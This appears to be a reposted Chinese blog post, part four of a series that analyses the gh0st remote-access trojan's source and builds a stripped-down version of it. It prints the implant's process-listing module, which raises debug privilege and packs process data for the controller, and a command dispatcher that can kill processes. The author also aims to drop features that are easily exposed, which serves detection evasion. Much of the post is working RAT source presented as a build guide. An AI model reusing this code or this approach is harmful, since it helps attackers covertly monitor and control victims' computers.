生活随笔
收集整理的這篇文章主要介紹了
gh0st源码分析与远控的编写(四)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
????真的很久很久了,距離上一次寫gh0st的文章(http://www.leavesongs.com/C/gh0st_3.html),過去有大半年了。總算有一個時間,我放下手里所有的活,能夠繼續把這份努力延續下去。
????以后對于gh0st的文章,就是一個一個模塊的分析。原本gh0st就是由很多功能組成的一個強大的遠控,但有些東西并不是功能越強大越好。我們到最后,會做一個gh0st的精簡,留下最重要的功能,淘汰一些龐大而容易暴露的功能。所以,只有我們模塊化了一個軟件之后,我們才能更方便地去刪除或增加一個功能,否則刪除掉某個模塊之后導致整個gh0st運行不了了,得不償失。
? ? 今天帶來的是進程管理模塊,這個模塊文件是SystemManager.cpp。
? ? 我們先來看被控端,一個獲取當前進程列表的模塊。調用的相關api是CreateToolhelp32Snapshot ->?Process32First ->?OpenProcess ->?EnumProcessModules -> GetModuleFileNameEx ->?Process32Next ->?CloseHandle
? ? 首先調用CreateToolhelp32Snapshot 創建當前進程列表的快照,再調用Process32First獲得快照中第一個進程句柄,OpenProcess打開此進程,EnumProcessModules列舉這個進程引用的模塊(第一個模塊就是進程自身,原本這個函數應該返回該進程所有模塊的一個數組,但因為我只需要第一個模塊,所以傳入一個HMODULE型地址即可)。得到他自身的模塊后,GetModuleFileNameEx獲得其完整名稱。此時就算獲取到了進程列表中一個進程信息,再使用Process32Next獲得下一個進程,重復以上步驟。
? ? 最后當Process32Next獲取不到進程后,就算將整個進程列表快照遍歷完了,調用CloseHandle關閉快照句柄即可。
????流程圖如下:
????
? ? 下面就是gh0st中,獲取進程列表的代碼:
| 01 | LPBYTE?CSystemManager::getProcessList() |
| 03 | ????HANDLE??????????hSnapshot = NULL; |
| 04 | ????HANDLE??????????hProcess = NULL; |
| 05 | ????HMODULE?????????hModules = NULL; |
| 06 | ????PROCESSENTRY32? pe32 = {0}; |
| 07 | ????DWORD???????????cbNeeded; |
| 08 | ????char????????????strProcessName[MAX_PATH] = {0}; |
| 09 | ????LPBYTE??????????lpBuffer = NULL; |
| 10 | ????DWORD???????????dwOffset = 0; |
| 11 | ????DWORD???????????dwLength = 0; |
| 12 | ????DebugPrivilege(SE_DEBUG_NAME, TRUE);?????//提取權限 |
| 14 | ????hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); |
| 16 | ????if(hSnapshot == INVALID_HANDLE_VALUE) |
| 19 | ????pe32.dwSize =?sizeof(PROCESSENTRY32); |
| 21 | ????lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);???????//暫時分配一下緩沖區 |
| 23 | ????lpBuffer[0] = TOKEN_PSLIST;????????//注意這個是數據頭 一會我們到主控端來搜索這個數據頭 |
| 26 | ????if(Process32First(hSnapshot, &pe32))???????//得到第一個進程順便判斷一下系統快照是否成功 |
| 30 | ????????????//打開進程并返回句柄 |
| 31 | ????????????hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); |
| 32 | ????????????if?((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8)) |
| 34 | ????????????????//枚舉第一個模塊句柄也就是自身 |
| 35 | ????????????????EnumProcessModules(hProcess, &hModules,?sizeof(hModules), &cbNeeded); |
| 36 | ????????????????//得到自身的完整名稱 |
| 37 | ????????????????GetModuleFileNameEx(hProcess, hModules, strProcessName,?sizeof(strProcessName)); |
| 38 | ????????????????//開始計算占用的緩沖區, 我們關心他的發送的數據結構 |
| 39 | ????????????????// 此進程占用數據大小 |
| 40 | ????????????????dwLength =?sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2; |
| 41 | ????????????????// 緩沖區太小,再重新分配下 |
| 42 | ????????????????if?(LocalSize(lpBuffer) < (dwOffset + dwLength)) |
| 43 | ????????????????????lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); |
| 45 | ????????????????//接下來三個memcpy就是向緩沖區里存放數據 數據結構是 進程ID+進程名+0+進程完整名+0 |
| 46 | ????????????????//為什么加0 ?因為字符數據是以0 結尾的 |
| 47 | ????????????????memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID),?sizeof(DWORD)); |
| 48 | ????????????????dwOffset +=?sizeof(DWORD);? |
| 50 | ????????????????memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); |
| 51 | ????????????????dwOffset += lstrlen(pe32.szExeFile) + 1; |
| 53 | ????????????????memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1); |
| 54 | ????????????????dwOffset += lstrlen(strProcessName) + 1; |
| 57 | ????????while(Process32Next(hSnapshot, &pe32));??????//繼續得到下一個快照 |
| 59 | ????//用lpbuffer獲得整個緩沖區 |
| 60 | ????lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE); |
| 62 | ????DebugPrivilege(SE_DEBUG_NAME, FALSE);??//還原提權 |
| 63 | ????CloseHandle(hSnapshot);???????//釋放句柄 |
| 64 | ????return?lpBuffer;????????//這個數據返回后就是發送了 之前講過了,我們可以到主控端去搜索TOKEN_PSLIST了。 |
? ? 代碼基本上就跟我的流程圖一樣的過程,用一個do..while循環,遍歷整個進程列表快照。其中調用的EnumProcessModules函數要注意,傳入的第二個參數是一個HMODULE類型指針,而不是MSDN中說的數組。當然也可以理解成只含有一個HMODULE類型變量的數組,因為我只需要第一個模塊信息就行了。
? ? 獲得了可執行文件名、詳細名稱后,gh0st用了一個結構:“進程ID+進程名+0+進程完整名+0”來保存他們。0相當于一個分隔符,將信息分割開。在主控端取進程信息的時候就直接取一個數字,兩個字符串即可,因為字符串就是以0結尾。
? ? 這個函數最前面調用了一個DebugPrivilege,這就是一個簡單的提權函數,在很多地方都用到過,我就不多講了。
? ? 所以,最后getProcessList函數返回的就是一個包含所有進程信息的一個緩沖區,類似這樣"01ieplorer.exe\0IE瀏覽器\002qq.exe\0騰訊QQ\0...."。
? ? SendProcessList調用了這個函數,并把獲得的緩沖區發送給主控端:
| 01 | void?CSystemManager::SendProccessList() |
| 03 | ????UINT????nRet = -1; |
| 04 | ????LPBYTE??lpBuffer = getProcessList();??????//得到進程列表的數據,一會轉到? getProcessList定義 |
| 05 | ????if?(lpBuffer == NULL) |
| 08 | ????Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));???//得到發送得到的進程列表數據 |
| 09 | ????LocalFree(lpBuffer); |
????這就是被控端上獲取所有進程信息并發送給主控端的一個過程。
? ? 我之前文章里也說過,被控端中每一個模塊類中,都有一個固定的方法,叫OnReceive,這是當主控端發送來的命令,會最終被傳遞給這個方法。這個方法就來根據命令調度需要執行的功能。
? ? 所以,SystemManager類也有這個方法:
| 01 | void?CSystemManager::OnReceive(LPBYTE?lpBuffer,?UINT?nSize) |
| 03 | ????SwitchInputDesktop(); |
| 04 | ????switch?(lpBuffer[0]) |
| 06 | ????case?COMMAND_PSLIST: |
| 07 | ????????SendProcessList(); |
| 09 | ????case?COMMAND_WSLIST: |
| 10 | ????????//SendWindowsList(); |
| 12 | ????case?COMMAND_DIALUPASS: |
| 13 | ????????//SendDialupassList(); |
| 15 | ????case?COMMAND_KILLPROCESS:???????//這里是進程管理接收數據的函數了 在這里判斷是那個命令,到KillProcess定義 |
| 16 | ????????KillProcess((LPBYTE)lpBuffer + 1, nSize - 1); |
? ? lpBuffer[0]就是命令,我們可以看到,如果它的值是COMMAND_PSLIST的話,就會執行SendProcessList,也就是發送所有進程列表,如果是COMMAND_KILLPROCESS,那就就會執行KillProcess,結束某個進程。
? ? 另外還有兩個命令,他們是窗口管理和撥號管理的功能。實際上,這兩個功能并不太需要,可以直接精簡掉。我們暫時將之注釋。
? ? 下次我會說到,主控端界面的一些編寫(主要是tab標簽頁的制作),和接收來自被控端的數據,并顯示到頁面上。最終完成這個進程管理模塊。
總結
以上是生活随笔為你收集整理的gh0st源码分析与远控的编写(四)的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。